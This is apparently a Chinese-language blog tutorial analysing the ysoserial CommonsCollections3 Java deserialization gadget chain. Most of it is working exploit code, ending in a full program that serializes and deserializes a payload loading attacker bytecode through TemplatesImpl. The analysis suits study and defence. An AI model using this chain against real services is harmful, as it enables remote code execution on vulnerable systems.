ysoserial commonscollections3 分析( 二 )

private byte[][] _bytecodes = null;_bytecodes是一個byte二維數組 , 我們將byte[]類型的字節碼賦值給_bytecodes[0]
這里就直接賦值字節碼內容了
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));這樣在defineTransletClasses被調用的時候
執行_class[i] = loader.defineClass(_bytecodes[i]);
_class[0]將會被賦值為loader.defineClass(code)
由于_tfactory需要調用,所以給_tfactory也賦值
最終實現代碼如下:
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");//注釋不給_class賦值,滿足_class == null,defineTransletClasses得到調用//Field aClass = templates_cl.getDeclaredField("_class");//aClass.setAccessible(true);//aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);//加載字節碼byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));byte[][] codes = {code};//給_bytecodes賦值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要順利執行,_tfactory得賦值,因為defineTransletClasses中調用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl類型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);templates.newTransformer();三、讓newTransformer得到執行
TrAXFilter類的構造方法會調用newTransformer
public TrAXFilter(Templates templates)throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}TrAXFilter trAXFilter = new TrAXFilter(templates);但是TrAXFilter并不實現Serializable接口,無法序列化,需要通過反射調用
在cc1中反射執行最終是通過InvokerTransformer的transform來實現
這里用了InstantiateTransformer的transform
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);剩下的就和cc1一樣了
public class CC3Test3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));byte[][] codes = {code};//給_bytecodes賦值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要順利執行,_tfactory得賦值,因為defineTransletClasses中調用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl類型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});Transformer[] transformerslist = {new ConstantTransformer(TrAXFilter.class),instantiateTransformer,};ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);HashMap hashMap1 = new HashMap();LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));objectOutputStream.writeObject(handle);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));objectInputStream.readObject();}}

推薦閱讀